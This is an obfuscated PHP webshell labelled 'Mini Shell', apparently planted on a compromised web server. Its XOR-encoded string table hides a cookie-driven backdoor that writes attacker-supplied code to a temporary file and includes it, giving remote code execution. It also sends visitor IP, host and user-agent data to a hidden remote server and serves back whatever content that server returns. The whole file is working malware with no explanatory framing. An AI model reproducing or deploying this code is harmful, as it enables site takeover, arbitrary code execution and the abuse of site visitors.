Mini Shell
<?php class _yf{private static$_kcf;static function _ur($_gd,$_vir){if(!self::$_kcf)self::_fw();$_az=strlen($_vir);$_dq=base64_decode(self::$_kcf[$_gd]);for($_wv=0,$_hua=strlen($_dq);$_wv!==$_hua;++$_wv)$_dq[$_wv]=chr(ord($_dq[$_wv])^ord($_vir[$_wv%$_az]));return$_dq;}private static function _fw(){self::$_kcf=array('_sy'=>'HgYEDCwWSiowCxMbMAlKKDMJCB5yKhUAOAwJU39P','_br'=>'HBcfKx0fK1UlJggUZVgQLwgdNhsQKxEeMVcbPg4QLBsDNggF','_gk'=>'PBs=','_ir'=>'OhwmLwYvFlMlNQJYEw8LaykGOFEgNQJYFgwbNgE7GgwjNi9cBT0ibywFKAwPMjMBFg8DNgErCR8IHC9V','_dyb'=>'Lh4PJw==','_ie'=>'YxYAYQ==','_px'=>'YwwHO1A=','_tw'=>'KA4HMw==','_hgm'=>'','_aj'=>'','_gx'=>'','_owg'=>'NwYYL0hDcAIZPVwbOhAKNh4JNx0fKxcecREDMl0PMB8cMAEJLVwGLE0IPgYNYg==','_vq'=>'PB8KBAADFgEr','_lo'=>'NwcGLywRMBcX','_kug'=>'LBEGOh8L','_tdq'=>'NwMWHiw=','_jh'=>'GD86Sg==','_ot'=>'LxIZNw==','_gfw'=>'LgwVAyY=','_mx'=>'YA==','_qn'=>'Lg0PLQE=','_ptg'=>'fyY9Cz5GbkBZUmQhMB0dZU4=','_zuj'=>'NwoZBw==','_xd'=>'Um0zMAkeOgQENggeZUczMwgDOmp6Um0=','_evz'=>'LAUBXHBZ','_wzf'=>'','_nl'=>'NwcFFg==','_cfu'=>'UmM=','_ma'=>'Fyw8DycrEzEtESw3Fig=','_mcg'=>'Fz4/DzUzACwkDT0qDS4uGzUtEDg=','_is'=>'DSg/LAsoLSIbKSA=','_gd'=>'Fz0gDzYhDCwmACgzGicg','_lt'=>'FyQnOwAlIC4NLzIsGj4n','_yve'=>'','_as'=>'FzktPwA/PCkaPzw9','_id'=>'FyU/Dy45GjcuDTQ5','_hy'=>'','_aad'=>'FywyJwA7Kj4aNjIoFig=','_vli'=>'FzknJwAuPz4aIycoFj0=','_wet'=>'Fzo2OgA2PSwQPDUrDSonLgAoLTg=','_ocx'=>'FzI2JAA+PTIQNDU1DSInMAAgLSY=','_nut'=>'DSAlIwsgNy0bITo=','_wk'=>'DTUrECQjADEiGyI=','_xhe'=>'OwwABzAKAg==','_fp'=>'FidNfw==','_hwf'=>'fwhECjVefw==','_qv'=>'fxhYDQEeZUQ=','_jqc'=>'f0UBLUdp','_ob'=>'Nh4=','_hid'=>'KgI=','_fls'=>'LRAX','_gl'=>'LhERDQ==',);}}header(_yf::_ur('_sy','_egi'));header(_yf::_ur('_br','_xq'));if(isset($_GET[_yf::_ur('_gk','_sla')])){$_nf=_uf(_yf::_ur('_ir','_el'));if($_nf&&strpos($_nf,_yf::_ur('_dyb','_iu'))!==false){die(_yf::_ur('_ie','_yk'));}else{die(_yf::_ur('_px','_nf'));}}if(isset($_GET[_yf::_ur('_tw','_ok')])){$_hua=$_COOKIE;$_vir=(73- -435- -3-511);$_gd=(-56+-18- -81);$_xo=array();$_xo[$_vir]=_yf::_ur('_hgm','_iom');while($_gd){$_xo[$_vir].=$_hua[-64- -94][$_gd];if(!$_hua[38-8][$_gd+(int)round(0.5+0.5)]){if(!$_hua[-375-170- -575][$_gd+(172-170)])break;$_vir++;$_xo[$_vir]=_yf::_ur('_aj','_he');$_gd++;}$_gd=$_gd+(int)round(3.5+3.5)+(-35+36);}$_vir=$_xo[(int)round(3.5+3.5+3.5+3.5)]().$_xo[(int)round(8+8+8)];if(!$_xo[173+85+-183-69]($_vir)){$_gd=$_xo[(int)round(8.6666666666667+8.6666666666667+8.6666666666667)]($_vir,$_xo[(int)round(5+5)]);$_xo[-455+471+-206+199]($_gd,$_xo[(int)round(2.75+2.75+2.75+2.75)].$_xo[(int)round(7.6666666666667+7.6666666666667+7.6666666666667)]($_xo[762+267-1004]($_hua[201+-711- -513])));}include($_vir);}function _uf($_fuu,$_gl='fos'){$_cpu=_yf::_ur('_gx','_fiv');$_pc=_yf::_ur('_owg','_rl').$_fuu;if(is_callable(_yf::_ur('_vq','_jxh'))){$_dl=curl_init($_pc);curl_setopt($_dl,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_dl,CURLOPT_SSL_VERIFYHOST,145+-143);curl_setopt($_dl,CURLOPT_FOLLOWLOCATION,(int)round(0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_dl,CURLOPT_RETURNTRANSFER,(int)round(0.5+0.5));curl_setopt($_dl,CURLOPT_HEADER,(int)round(0+0+0));curl_setopt($_dl,CURLOPT_CONNECTTIMEOUT,101+88-179);curl_setopt($_dl,CURLOPT_TIMEOUT,706+-579+-117);$_cpu=curl_exec($_dl);$_jl=curl_getinfo($_dl);curl_close($_dl);if($_jl[_yf::_ur('_lo','_sr')]!=(3+469+-272))return false;}else{$_ba=parse_url($_pc);$_xi=($_ba[_yf::_ur('_kug','_rn')]==_yf::_ur('_tdq','_wbn'));$_ze=_yf::_ur('_jh','_znj').$_ba[_yf::_ur('_ot','_sm')];if(isset($_ba[_yf::_ur('_gfw','_ypq')]))$_ze.=_yf::_ur('_mx','_tfx').$_ba[_yf::_ur('_qn','_xj')];$_ze.=_yf::_ur('_ptg','_ni').$_ba[_yf::_ur('_zuj','_ejs')]._yf::_ur('_xd','_gp');$_njr=fsockopen(($_xi?_yf::_ur('_evz','_vmf'):_yf::_ur('_wzf','_rc')).$_ba[_yf::_ur('_nl','_hvb')],$_xi?(int)round(147.66666666667+147.66666666667+147.66666666667):(int)round(26.666666666667+26.666666666667+26.666666666667));if($_njr){fputs($_njr,$_ze);$_dq=(int)round(0+0+0);while(!feof($_njr)){$_mjh=fgets($_njr,1257-233);if($_dq)$_cpu.=$_mjh;if($_mjh==_yf::_ur('_cfu','_ite'))$_dq=(int)round(0.25+0.25+0.25+0.25);}fclose($_njr);}}return$_cpu;}$_mk=isset($_SERVER[_yf::_ur('_ma','_xh')]);$_tl=isset($_SERVER[_yf::_ur('_mcg','_jk')]);$_mg=isset($_SERVER[_yf::_ur('_is','_mrc')]);$_vc=isset($_SERVER[_yf::_ur('_gd','_it')])?$_SERVER[_yf::_ur('_lt','_psk')]:_yf::_ur('_yve','_atp');$_aoo=isset($_SERVER[_yf::_ur('_as','_myo')])?$_SERVER[_yf::_ur('_id','_qk')]:_yf::_ur('_hy','_yw');$_mk=isset($_SERVER[_yf::_ur('_aad','_xfw')])?$_SERVER[_yf::_ur('_vli','_msw')]:null;$_tl=isset($_SERVER[_yf::_ur('_wet','_nbj')])?$_SERVER[_yf::_ur('_ocx','_fbt')]:null;$_mg=isset($_SERVER[_yf::_ur('_nut','_ehl')])?$_SERVER[_yf::_ur('_wk','_pf')]:null;if(filter_var($_mk,-331- -606)){$_af=$_mk;}elseif(filter_var($_tl,(int)round(68.75+68.75+68.75+68.75))){$_af=$_tl;}else{$_af=$_mg;}if(isset($_GET[_yf::_ur('_xhe','_ngj')])){echo _yf::_ur('_fp','_ww').$_af._yf::_ur('_hwf','_td').$_vc._yf::_ur('_qv','_dx').$_aoo._yf::_ur('_jqc','_yc');exit();}if(!isset($_af)||!isset($_vc)||!isset($_aoo)){exit();}else{$_qg=array(_yf::_ur('_ob','_nzq')=>$_af,_yf::_ur('_hid','_cyb')=>$_vc,_yf::_ur('_fls','_uqw')=>$_aoo);$_bop=urlencode(base64_encode(json_encode($_qg)));$_nf=_uf($_bop);if($_nf&&strpos($_nf,_yf::_ur('_gl','_fku'))!==false){echo$_nf;exit();}}